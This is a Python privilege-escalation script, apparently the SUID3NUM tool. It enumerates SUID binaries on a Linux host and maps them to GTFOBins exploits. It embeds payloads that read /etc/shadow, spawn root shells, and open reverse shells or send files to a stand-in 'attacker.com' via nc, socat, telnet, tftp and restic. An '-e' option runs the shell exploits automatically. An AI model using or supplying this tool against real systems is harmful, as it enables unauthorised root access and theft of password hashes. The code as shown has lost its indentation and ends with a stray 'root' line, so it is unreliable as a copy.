#!/usr/bin/python3
"""
Works with both python2 & python3
"""
from sys import argv
from os import system, popen
from time import sleep
"""
The following list contains exploits for all known SUID binaries
"""
customSUIDs = {
'aria2c': 'COMMAND=\'id\'\nTF=$(mktemp)\necho "$COMMAND" > $TF\nchmod +x $TF\n./aria2c --on-download-error=$TF http://x',
'arp': 'LFILE=file_to_read\n./arp -v -f "$LFILE"',
'base32': 'LFILE=file_to_read\nbase32 "$LFILE" | base32 --decode',
'base64': 'LFILE=file_to_read\n./base64 "$LFILE" | base64 --decode',
'byebug': 'TF=$(mktemp)\necho \'system("/bin/sh")\' > $TF\n./byebug $TF\ncontinue',
'chmod': 'LFILE=file_to_change\n./chmod 0777 $LFILE',
'chown': 'LFILE=file_to_change\n./chown $(id -un):$(id -gn) $LFILE',
'cp': 'LFILE=file_to_write\nTF=$(mktemp)\necho "DATA" > $TF\n./cp $TF $LFILE',
'curl': 'URL=http://attacker.com/file_to_get\nLFILE=file_to_save\n./curl $URL -o $LFILE',
'date': 'LFILE=file_to_read\n./date -f $LFILE',
'dd': 'LFILE=file_to_write\necho "data" | ./dd of=$LFILE',
'dialog': 'LFILE=file_to_read\n./dialog --textbox "$LFILE" 0 0',
'diff': 'LFILE=file_to_read\n./diff --line-format=%L /dev/null $LFILE',
'dmsetup': "./dmsetup create base <<EOF\n0 3534848 linear /dev/loop0 94208\nEOF\n./dmsetup ls --exec '/bin/sh -p -s'", 'file': 'LFILE=file_to_read\n./file -m $LFILE',
'ed': './ed\n!/bin/sh',
'eqn': 'LFILE=file_to_read\n./eqn "$LFILE"',
'fmt': 'LFILE=file_to_read\n./fmt -pNON_EXISTING_PREFIX "$LFILE"',
'git': 'PAGER=\'sh -c "exec sh 0<&1"\' ./git -p help',
'gtester': 'TF=$(mktemp)\necho \'#!/bin/sh -p\' > $TF\necho \'exec /bin/sh -p 0<&1\' >> $TF\nchmod +x $TF\ngtester -q $TF',
'hd': 'LFILE=file_to_read\n./hd "$LFILE"',
'hexdump': 'LFILE=file_to_read\n./hexdump -C "$LFILE"',
'highlight': 'LFILE=file_to_read\n./highlight --no-doc --failsafe "$LFILE"',
'iconv': 'LFILE=file_to_read\n./iconv -f 8859_1 -t 8859_1 "$LFILE"',
'iftop': './iftop\n!/bin/sh',
'ip': 'LFILE=file_to_read\n./ip -force -batch "$LFILE"',
'jjs': 'echo "Java.type(\'java.lang.Runtime\').getRuntime().exec(\'/bin/sh -pc \\$@|sh\\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)\').waitFor()" | ./jjs',
'jq': 'LFILE=file_to_read\n./jq -Rr . "$LFILE"',
'ksshell': 'LFILE=file_to_read\n./ksshell -i $LFILE',
'ldconfig': 'TF=$(mktemp -d)\necho "$TF" > "$TF/conf"\n# move malicious libraries in $TF\n./ldconfig -f "$TF/conf"',
'look': 'LFILE=file_to_read\n./look \'\' "$LFILE"',
'lwp-download': 'URL=http://attacker.com/file_to_get\nLFILE=file_to_save\n./lwp-download $URL $LFILE',
'lwp-request': 'LFILE=file_to_read\n./lwp-request "file://$LFILE"',
'mv': 'LFILE=file_to_write\nTF=$(mktemp)\necho "DATA" > $TF\n./mv $TF $LFILE',
'mysql': "./mysql -e '\\! /bin/sh'", 'awk': './awk \'BEGIN {system("/bin/sh")}\'',
'nano': './nano\n^R^X\nreset; sh 1>&0 2>&0',
'nawk': './nawk \'BEGIN {system("/bin/sh")}\'',
'nc': 'RHOST=attacker.com\nRPORT=12345\n./nc -e /bin/sh $RHOST $RPORT',
'nmap': 'TF=$(mktemp)\necho \'os.execute("/bin/sh")\' > $TF\n./nmap --script=$TF',
'nohup': 'nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)"',
'openssl': 'openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\nopenssl s_server -quiet -key key.pem -cert cert.pem -port 12345\n',
'pic': './pic -U\n.PS\nsh X sh X',
'pico': './pico\n^R^X\nreset; sh 1>&0 2>&0',
'pry': './pry\nsystem("/bin/sh")',
'readelf': 'LFILE=file_to_read\n./readelf -a @$LFILE',
'restic': 'RHOST=attacker.com\nRPORT=12345\nLFILE=file_or_dir_to_get\nNAME=backup_name\n./restic backup -r "rest:http://$RHOST:$RPORT/$NAME" "$LFILE"',
'scp': 'TF=$(mktemp)\necho \'sh 0<&2 1>&2\' > $TF\nchmod +x "$TF"\n./scp -S $TF a b:',
'shuf': 'LFILE=file_to_write\n./shuf -e DATA -o "$LFILE"\nsudo:',
'soelim': 'LFILE=file_to_read\n./soelim "$LFILE"',
'sqlite3': "./sqlite3 /dev/null '.shell /bin/sh'", 'socat': 'RHOST=attacker.com\nRPORT=12345\n./socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane',
'strings': 'LFILE=file_to_read\n./strings "$LFILE"',
'sysctl': 'LFILE=file_to_read\n./sysctl -n "/../../$LFILE"',
'systemctl': 'TF=$(mktemp).service\necho \'[Service]\nType=oneshot\nExecStart=/bin/sh -c "id > /tmp/output"\n[Install]\nWantedBy=multi-user.target\' > $TF\n./systemctl link $TF\n./systemctl enable --now $TF',
'tac': 'LFILE=file_to_read\n./tac -s \'PromiseWontOverWrite\' "$LFILE"',
'tar': './tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh',
'tee': 'LFILE=file_to_write\necho DATA | ./tee -a "$LFILE"',
'telnet': 'RHOST=attacker.com\nRPORT=12345\n./telnet $RHOST $RPORT\n^]\n!/bin/sh',
'tftp': 'RHOST=attacker.com\n./tftp $RHOST\nput file_to_send',
'uudecode': 'LFILE=file_to_read\nuuencode "$LFILE" /dev/stdout | uudecode',
'uuencode': 'LFILE=file_to_read\nuuencode "$LFILE" /dev/stdout | uudecode',
'xz': 'LFILE=file_to_read\n./xz -c "$LFILE" | xz -d',
'zip': "TF=$(mktemp -u)\n./zip $TF /etc/hosts -T -TT 'sh #'\nsudo rm $TF", 'wget': 'export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\n./wget $URL -O $LFILE',
'zsoelim': 'LFILE=file_to_read\n./zsoelim "$LFILE"',
}
"""
The following list contains all default SUID bins found within Unix
"""
defSUIDBinaries = ["arping", "at", "bwrap", "chfn", "chrome-sandbox", "chsh", "dbus-daemon-launch-helper", "dmcrypt-get-device", "exim4", "fusermount", "gpasswd", "helper", "kismet_capture", "lxc-user-nic", "mount", "mount.cifs", "mount.ecryptfs_private", "mount.nfs", "newgidmap", "newgrp", "newuidmap", "ntfs-3g", "passwd", "ping", "ping6", "pkexec", "polkit-agent-helper-1", "pppd", "snap-confine", "ssh-keysign", "su", "sudo", "traceroute6.iputils", "ubuntu-core-launcher", "umount", "VBoxHeadless", "VBoxNetAdpCtl", "VBoxNetDHCP", "VBoxNetNAT", "VBoxSDL", "VBoxVolInfo", "VirtualBoxVM", "vmware-authd", "vmware-user-suid-wrapper", "vmware-vmx", "vmware-vmx-debug", "vmware-vmx-stats", "Xorg.wrap"]
"""
Auto Exploitation of SUID Bins - List
"""
suidExploitation = {
'ash': '',
'bash': '-p',
'busybox': 'sh',
'cat': '/etc/shadow',
'chroot': '/ /bin/sh -p',
'csh': '-b',
'cut': '-d "" -f1 /etc/shadow',
'dash': '-p',
'docker': 'run -v /:/mnt --rm -it alpine chroot /mnt sh',
'emacs': '-Q -nw --eval \'(term "/bin/sh -p")\'',
'env': '/bin/sh -p',
'expand': '/etc/shadow',
'expect': '-c "spawn /bin/sh -p;interact"',
'find': '. -exec /bin/sh -p \\; -quit',
'flock': '-u / /bin/sh -p',
'fold': '-w99999999 /etc/shadow',
'gawk': '\'BEGIN {system("/bin/sh")}\'',
'gdb': '-q -nx -ex \'python import os; os.execl("/bin/sh", "sh", "-p")\' -ex quit',
'gimp': '-idf --batch-interpreter=python-fu-eval -b \'import os; os.execl("/bin/sh", "sh", "-p")\'',
'grep': '"" /etc/shadow',
'head': '-c2G /etc/shadow',
'ionice': '/bin/sh -p',
'jrunscript': '-e "exec(\'/bin/sh -pc \\$@|sh\\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)\')"',
'ksh': '-p',
'ld.so': '/bin/sh -p',
'less': '/etc/shadow',
'logsave': '/dev/null /bin/sh -i -p',
'lua': '-e \'os.execute("/bin/sh")\'',
'make': '-s --eval=$\'x:\\n\\t-\'"/bin/sh -p"',
'mawk': '\'BEGIN {system("/bin/sh")}\'',
'more': '/etc/shadow',
'nice': '/bin/sh -p',
'nl': '-bn -w1 -s \'\' /etc/shadow',
'node': 'node -e \'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]});\'',
'od': 'od -An -c -w9999 /etc/shadow | sed -E -e \'s/ //g\' -e \'s/\\\\n/\\n/g\'',
'perl': '-e \'exec "/bin/sh";\'',
'pg': '/etc/shadow',
'php': '-r "pcntl_exec(\'/bin/sh\', [\'-p\']);"',
'python': '-c \'import os; os.execl("/bin/sh", "sh", "-p")\'',
'rlwrap': '-H /dev/null /bin/sh -p',
'rpm': '--eval \'%{lua:os.execute("/bin/sh", "-p")}\'',
'rpmquery': '--eval \'%{lua:posix.exec("/bin/sh", "-p")}\'',
'rsync': '-e \'sh -p -c "sh 0<&2 1>&2"\' 127.0.0.1:/dev/null',
'run-parts': '--new-session --regex \'^sh$\' /bin --arg=\'-p\'',
'rvim': '-c \':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")\'',
'sed': '-e "" /etc/shadow',
'setarch': '$(arch) /bin/sh -p',
'sort': '-m /etc/shadow',
'start-stop-daemon': '-n $RANDOM -S -x /bin/sh -- -p',
'stdbuf': '-i0 /bin/sh -p',
'strace': '-o /dev/null /bin/sh -p',
'tail': '-c2G /etc/shadow',
'taskset': '1 /bin/sh -p',
'time': '/bin/sh -p',
'timeout': '7d /bin/sh -p',
'ul': '/etc/shadow',
'unexpand': 'unexpand -t99999999 /etc/shadow',
'uniq': '/etc/shadow',
'unshare': '-r /bin/sh',
'vim': '-c \':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")\'',
'watch': '-x sh -c \'reset; exec sh 1>&0 2>&0\'',
'xargs': '-a /dev/null sh -p',
'xxd': '/etc/shadow | xxd -r',
'zsh': '',
}
"""
The following list contains GTFO Bins binaries which are SUID exploitable
"""
gtfoBinsList = ['bash', 'busybox', 'cat', 'chroot', 'cut', 'dash', 'docker', 'env', 'expand', 'expect', 'find', 'flock', 'fold', 'gdb', 'grep', 'head', 'ionice', 'jrunscript', 'ksh', 'ld.so', 'less', 'logsave', 'make', 'more', 'nice', 'nl', 'node', 'od', 'perl', 'pg', 'php', 'python', 'rlwrap', 'rpm', 'rpmquery', 'rsync', 'run-parts', 'rvim', 'sed', 'setarch', 'sort', 'start-stop-daemon', 'stdbuf', 'strace', 'tail', 'taskset', 'time', 'timeout', 'ul', 'unexpand', 'uniq', 'unshare', 'vim', 'watch', 'xargs', 'xxd', 'zsh', 'aria2c', 'arp', 'ash', 'base32', 'base64', 'byebug', 'chmod', 'chown', 'cp', 'csh', 'curl', 'date', 'dd', 'dialog', 'diff', 'dmsetup', 'file', 'ed', 'emacs', 'eqn', 'fmt', 'gawk', 'gimp', 'git', 'gtester', 'hd', 'hexdump', 'highlight', 'iconv', 'iftop', 'ip', 'jjs', 'jq', 'ksshell', 'ldconfig', 'look', 'lua', 'lwp-download', 'lwp-request', 'mawk', 'mv', 'mysql', 'awk', 'nano', 'nawk', 'nc', 'nmap', 'nohup', 'openssl', 'pic', 'pico', 'pry', 'readelf', 'restic', 'scp', 'shuf', 'soelim', 'sqlite3', 'socat', 'strings', 'sysctl', 'systemctl', 'tac', 'tar', 'tclsh', 'tee', 'telnet', 'tftp', 'uudecode', 'uuencode', 'xz', 'zip', 'wget', 'zsoelim']
"""
Colors List
"""
cyan = "\033[0;96m"
green = "\033[0;92m"
white = "\033[0;97m"
red = "\033[0;91m"
blue = "\033[0;94m"
yellow = "\033[0;33m"
magenta = "\033[0;35m"
barLine = "------------------------------"
banner = magenta + " ___ _ _ _ ___ _____ _ _ _ __ __ \n"
banner += yellow + " / __| | | / | \\ |__ / \\| | | | | \\/ |\n"
banner += blue + " \\__ \\ |_| | | |) | |_ \\ .` | |_| | |\\/| |\n"
banner += red + " |___/\\___/|_|___/ |___/_|\\_|\\___/|_| |_| " + cyan + " twitter@syed__umar\n"
def listAllSUIDBinaries():
"""
Listing all SUID Binaries found in the system
"""
print(white + "[" + blue + "#" + white + "] " + yellow + "Finding/Listing all SUID Binaries ..")
print(white + barLine)
command = "find / -perm -4000 -type f 2>/dev/null" # Since /4000 isn't backwards compatible with old versions of find .. :))
result = popen(command).read().strip().split("\n")
for bins in result:
print(yellow + bins)
print(white + barLine + "\n\n")
return(result)
def doSomethingPlis(listOfSuidBins):
"""
This function prints the following data:
- Default binaries which ship with installation of linux
- Custom binaries which aren't part of default list
- Binaries which match GTFObins list!
"""
_bins = []
binsInGTFO = []
customSuidBins = []
defaultSuidBins = []
for bins in listOfSuidBins:
_binName = bins.split("/")[::-1][0]
if _binName not in defSUIDBinaries:
customSuidBins.append(bins)
if _binName in gtfoBinsList:
binsInGTFO.append(bins)
else:
defaultSuidBins.append(bins)
print(white + "["+ red + "!" + white + "] Default Binaries (Don't bother)")
print(barLine)
for bins in defaultSuidBins: print(blue + bins)
print(white + barLine + "\n\n")
print(white + "[" + cyan + "~" + white + "] " + cyan + "Custom SUID Binaries (Interesting Stuff)")
print(white + barLine)
for bins in customSuidBins: print(cyan + bins)
print(white + barLine + "\n\n")
"""
QWgsIEkgc2VlIHlvdSdyZSBhIG1hbiBvZiBjdWx0dXJlIGFzIHdlbGwgOkQgCk5vdCBldmVyeW9uZSByZWFkcyBzb3VyY2UgY29kZSBvZiB3aGF0IHRoZXkncmUgcnVubmluZyBub3ctYS1kYXlzIMKvXF8o44OEKV8vwq8K
"""
if len(binsInGTFO) != 0:
print("[" + green + "#" + white + "] " + green + "SUID Binaries in GTFO bins list (Hell Yeah!)")
print(white + barLine)
for bin in binsInGTFO:
pathOfBin = popen("which " + bin).read().strip()
gtfoUrl = "https://gtfobins.github.io/gtfobins/" + bin[::-1].split("/")[0][::-1] + "/#suid"
print(green + pathOfBin + white + " -~> " + magenta + gtfoUrl)
print(white + barLine + "\n\n")
else:
print("[" + green + "#" + white + "] " + green + "SUID Binaries found in GTFO bins..")
print(white + barLine)
print("[" + red + "!" + white + "] " + magenta + "None " + red + ":(")
print(white + barLine + "\n\n")
"""
PR by @th3instein
@modded
"""
binsToExploit = []
_binsToExploit = {}
for binary in binsInGTFO:
binaryName = binary[::-1].split("/")[0][::-1]
if binaryName not in suidExploitation:
_binsToExploit[binary] = customSUIDs[binaryName]
if len(_binsToExploit) != 0:
print("[" + yellow + "&" + white + "] " + cyan + "Manual Exploitation (Binaries which create files on the system)")
print(white + barLine)
for binaryPath, binaryExploitation in _binsToExploit.items():
binaryName = binaryPath[::-1].split("/")[0][::-1]
binaryExploitation = binaryExploitation.replace(binaryName, binaryPath).replace("./", "")
# print(binaryName, binaryExploitation)
print(white + "[" + cyan + "&" + white + "] " + magenta + binaryName.capitalize() + white + " ( " + green + binaryPath + " )" + white)
print(yellow + binaryExploitation + white + "\n")
print(white + barLine + "\n\n")
"""
@PR End
"""
return(binsInGTFO, defaultSuidBins, customSuidBins)
def note():
print(white + "[" + red + "-" + white + "] " + magenta + "Note")
print(white + barLine)
print(blue + "If you see any FP in the output, please report it to make the script better! :)")
print(white + barLine + "\n")
def exploitThisShit(bins):
commands = []
for suidBins in bins:
_bin = suidBins.split("/")[::-1][0]
if _bin in suidExploitation:
_results = suidBins + " " + suidExploitation[_bin]
commands.append(_results)
if len(commands) != 0:
if len(argv) == 2:
if argv[1] == '-e':
print(white + "[" + magenta + "$" + white + "] " + white + "Auto Exploiting SUID bit binaries !!!")
print(white + barLine)
for _commands in commands:
print(magenta + "\n[#] Executing Command .. ")
print(cyan + "[~] " + _commands + "\n" + white)
sleep(0.5)
system(_commands)
sleep(0.5)
else:
print(white + "[" + green + "$" + white + "] " + white + "Please try the command(s) below to exploit harmless SUID bin(s) found !!!")
print(white + barLine)
for _commands in commands:
print("[~] " + _commands)
print(white + barLine + "\n\n")
def main():
print(banner)
try:
suidBins = listAllSUIDBinaries()
gtfoBins = doSomethingPlis(suidBins)
exploitThisShit(gtfoBins[0]); note()
except KeyboardInterrupt:
print("\n[" + red + "!" + white + "] " + red + "Aye, why you do dis!?")
if __name__ == '__main__':
main()
root